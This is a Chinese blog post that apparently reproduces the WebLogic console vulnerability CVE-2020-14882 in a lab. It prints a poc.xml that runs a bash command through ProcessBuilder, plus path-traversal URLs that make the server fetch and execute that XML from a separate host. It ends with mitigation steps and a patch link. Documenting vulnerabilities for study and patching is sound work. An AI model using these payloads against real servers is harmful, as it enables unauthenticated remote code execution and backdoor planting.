写在最前面!
本来是写好的了,但是中途突然死机,而且没有保存。。。就这样一天的心血全部消失了。。。
这样我就不得不重新写了,但是你们也知道,
重新写有好痛苦。。。
好比你写一篇作文, 快写完了
但老师说你字潦草把作业撕了让你重新写一遍
虽然你记得开头和内容但你也懒得写了
因为一篇文章花光了你所有精力
只差一个结尾却要你从头来过。
。。。。
这里我就不写多的了,直接看2篇参考文章。
https://www.cnblogs.com/backlion/p/13951858.html
https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md
除了我没写https://www.cnblogs.com/backlion/p/13951858.html这篇文章的# 四、手工提交利用方式一其他都写了。
其中FileSystemXmlApplicationContext()函数写入后门文件的方法有错,我参考https://github.com/vulhub/vulhub/blob/master/weblogic/CVE-2020-14882/README.zh-cn.md重新写了(看最下图)
这里推荐用火狐浏览器
因为,其他浏览器,会跳转到历史地址
windows下通过FileSystemXmlApplicationContext()函数写入后门文件(weblocig_12版本)
尝试通过FileSystemXmlApplicationContext()加载并执行远端xml文件:
poc.xml如下:
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[echo 2333 > /u01/oracle/wlserver/server/lib/consoleapp/webapp/images/xxx.txt]]></value>
</list>
</constructor-arg>
</bean>
</beans>
然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令:
http://192.168.100.23:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://192.168.100.23:8000/poc7.xml")
通过此方法,windows可以往images路径下写文件,写入路径为:
/u01/oracle/wlserver/server/lib/consoleapp/webapp/images/xxx.txt
访问http://192.168.100.23:7001/console/images/xxx.txt
weblogic 10 写入后门
因为com.tangosol.coherence.mvel2.sh.ShellSession这个gadget,只存在于weblogic 12,weblogic10 并没有这个gadget(没有包),所以无法使用
需要使用com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext来执行,所有Weblogic版本均适用。
http://ip:7001/console/css/%2e%2e%2fconsole.portal?_nfpb=true&_pageLabel=HomePage1&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext(“http://server ip :8000/poc.xml”)
漏洞修复
尝试复现的时候发现/console/consolejndi.portal路径也可以触发,所以
至少禁止以下路径的访问。或者直接禁止访问console。
/console/console.portal
/console/consolejndi.portal
或者通过官方下载补丁,这里需要正版授权才能下载
升级官方补丁:https://www.oracle.com/security-alerts/cpuoct2020.html